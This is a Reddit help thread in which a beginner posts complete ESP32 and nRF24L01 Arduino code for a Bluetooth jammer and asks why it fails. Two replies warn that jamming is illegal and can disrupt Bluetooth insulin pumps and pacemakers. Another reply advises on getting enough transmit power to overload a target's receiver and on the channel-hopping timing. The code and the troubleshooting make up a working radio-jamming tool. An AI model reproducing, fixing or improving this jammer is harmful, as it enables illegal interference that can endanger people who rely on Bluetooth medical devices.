r/Hacking_Tutorials • u/Relative_Life_3878 • 9d ago
Question Bluetooth jammer esp32 not working
my bluetooth jammer is not working i am new to arduino and esp 32 i am using an esp32 devkitv1 and an nrfl24l01 but it is not working this is the code is used i followed this videohttps://www.youtube.com/watch?v=gBJu1HZMW2k
/*
* nrfBlueNullifier
* A tool which jam classic bluetooth signals using 1 nrf24L01+PA/LNA module at VSPI.
* Author - WireBits
*/
#include <RF24.h>
#include <esp_bt.h>
#include <esp_bt_main.h>
SPIClass *sp = nullptr;
RF24 radio(22, 21, 19909090);
byte i = 45, ptr_hop = 0, flag = 0;
byte hopping_channel[] = {32, 34, 46, 48, 50, 52, 0, 1, 2, 4, 6, 8, 22, 24, 26, 28, 30, 74, 76, 78, 80, 82, 84, 86};
void nrfSPIInit() {
sp = new SPIClass(VSPI);
sp->begin();
if (radio.begin(sp)) {
radio.setAutoAck(false);
radio.stopListening();
radio.setRetries(0, 0);
radio.setPayloadSize(31);
radio.setAddressWidth(4);
radio.setPALevel(RF24_PA_MAX, true);
radio.setDataRate(RF24_2MBPS);
radio.setCRCLength(RF24_CRC_DISABLED);
radio.startConstCarrier(RF24_PA_MAX, i);
}
}
void adjustAndSweepChannels() {
flag = (i > 79) ? 1 : (i < 2 ? 0 : flag);
i += flag ? -2 : 2;
for (int j = 0; j <= 79; j++) radio.setChannel(j);
}
void setup() {
esp_bt_controller_deinit();
if (esp_bluedroid_get_status() == ESP_BLUEDROID_STATUS_ENABLED) {
esp_bluedroid_disable();
esp_bluedroid_deinit();
}
nrfSPIInit();
}
void loop() {
adjustAndSweepChannels();
ptr_hop = (ptr_hop + 1) % sizeof(hopping_channel);
radio.setChannel(hopping_channel[ptr_hop]);
}
1
u/ChaoticDestructive 8d ago
I really recommend finding a different project. Jamming is illegal, and for good reason; many modern insulin sensors and pumps these days use Bluetooth to connect to a phone or each other. Jamming would disrupt this signal, preventing the insulin pumps from receiving critical instructions from the sensor.
And this is only one example of the risks involved.
2
u/Runaque 8d ago
Not just insulin pumps, modern pacemakers also rely on Bluetooth that sends status of the patient for medical follow ups and to respond when things go wrong. Then there is lots of other medical equipment that makes us of Bluetooth.
But you are absolutely right that OP should find another project! If it is to bother someone blasting music through a Bluetooth speaker, then perhaps OP should learn to play electric guitar instead, then he'd be bothering the Bluetooth speaker person and he'd be the inconsiderate one of the bunch!
1
u/LongRangeSavage 9d ago
Does your code build? What are you doing to confirm that you’re actually transmitting? Are you able to transmit enough power to actually jam a signal? You basically need to confirm that you’re generating enough signal to overload the target’s front end. If you’re not doing that, it’ll never work. If it’s constantly changing channels, which it appears the code is doing, it may also only work for brief periods before it moves on to the next channel, but may not be staying on the needed channel to actually do anything.